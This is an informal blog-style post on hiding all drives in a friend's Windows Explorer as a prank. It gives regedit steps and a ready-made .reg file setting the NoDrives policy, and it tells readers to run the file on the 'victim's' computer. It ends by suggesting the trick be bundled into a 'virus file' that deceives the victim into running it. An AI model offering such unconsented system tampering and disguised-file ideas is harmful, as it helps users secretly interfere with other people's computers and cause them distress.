A coolest way to Disable the Display of Drives in My Computer ie Windows Explorer

Well this is the trick to play with one of ur friends who cares a lot his computer.. who cries when somthing goes wrong with his computer...like viruses etc..
This will disable the display of drives from windows explorer...
lets start..
go to run, regedit
navigate the following address
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item.
else u can simply make a .reg file.. type below colored content in notepad and save it as nodrive.reg... Run this file on double click on victims computer...
nodrive.reg file is as follows:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives"=dword:03ffffff
remember with this u can even create a virus file by attaching a code which will make victim to run that file......well sounds great na... many tricks will be posted do visiting it...
have a great time......